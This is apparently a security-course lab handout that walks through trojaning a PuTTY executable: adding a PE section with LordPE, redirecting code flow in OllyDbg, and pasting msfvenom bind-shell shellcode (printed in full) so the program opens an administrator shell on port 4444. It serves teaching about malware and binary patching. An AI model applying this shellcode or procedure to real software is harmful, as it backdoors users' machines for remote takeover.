Lab11 - OllyDbg (Adding Trojan)
Lab11 - OllyDbg (Adding Trojan)
Ollydbg
What You Need
A Windows machine, real or virtual. I used a Windows Server 2008
virtual machine.
Purpose
To modify a Windows EXE file and save an altered version containing Trojan
code in a new PE section. This gives you practice with very simple features of
the Ollydbg debugger and LordPE.
Getting LordPE
If you are using the VM from your instructor, LordPE is already installed. If not,
get it here:
https://samsclass.info/127/proj/lordpe.zip
Launch LordPE.
A "PE Editor" box opens, showing general information about putty, as shown
below.
In the "PE Editor" box, on the right, click the Sections button.
A "Section Table" box opens, showing the four sections in the putty
executable.
Right-click one of the sections and click "add section header", as shown
below.
A new section named "NewSec" appears. Currently, this section has "VSize"
and "RSize" values of 0, as shown below.
In the "Section Table" box, right-click NewSec and click "edit section
header".
Note the top three check boxes here: this segment is Executable, Readable,
and Writeable. That's good; we can place any type of code we want to here,
even self-modifying code.
Click OK.
Click OK.
Close the "Section Table" box.
In the "PE Editor" box, click the Save button.
Ollydbg shows the memory layout of putty. As highlighted in the image below,
the "NewSec" section begins at address 484000.
The digital signature is a good way to verify file integrity, but it's not essential
for file execution, so we can overwrite it.
In the top left pane of the CPU window, right-click, and click "Go
to", Expression.
Click OK.
Ollydbg moves to show the PUSH instruction that loads the "login as: " string,
as shown below.
The MOV instruction has been replaced by this instruction, as shown below:
JMP putty-ne.00484000
The program stops, and the status bar in the lower left corner of the Ollydbg
window says "INT3 command at putty-ne.00404000", as outlined in green in
the image below.
This shows that the code redirection worked, and executed the first instruction
in the .NewSec section!
In Ollydbg, in the top left pane of the CPU window, right-click, and click "Go
to", Expression.
In Ollydbg, in the top left pane of the CPU windows, right-click, point to "Copy
to Executable", and click "All modifications", as shown below.
A "Copy selection to executable file" box pops up. Click the "Copy all" button.
A new window pops up, with a title ending in "puttybad.exe".
Close Ollydbg.
You can generate shellcode with msfvenom, on Kali. Here's what I got when I
did it:
root@kali:~/Cminer# msfvenom -p windows/shell_bind_tcp -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the
payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 328 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"
"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
Scroll to address 00080000. After a region filled with zeroes, it starts with
these bytes: "A8 1B 00", as shown below.
Above, on this Web page, highlight and copy the first set of shellcode bytes,
from "fc" through "68".
In HxD, right-click the byte at address 00080000 and click "Paste write", as
shown below.
The first portion of the shellcode appears in red text, as shown below.
Above, on this Web page, highlight and copy the first set of shellcode bytes,
from "29" through "d5".
In HxD, right-click the byte at address 000800A5 and click "Paste write". Your
screen should look like the image below.
In HxD, click File, Save. Close HxD.
You are the local administrator, as shown below, and so is anyone else who
connects to this machine on port 4444.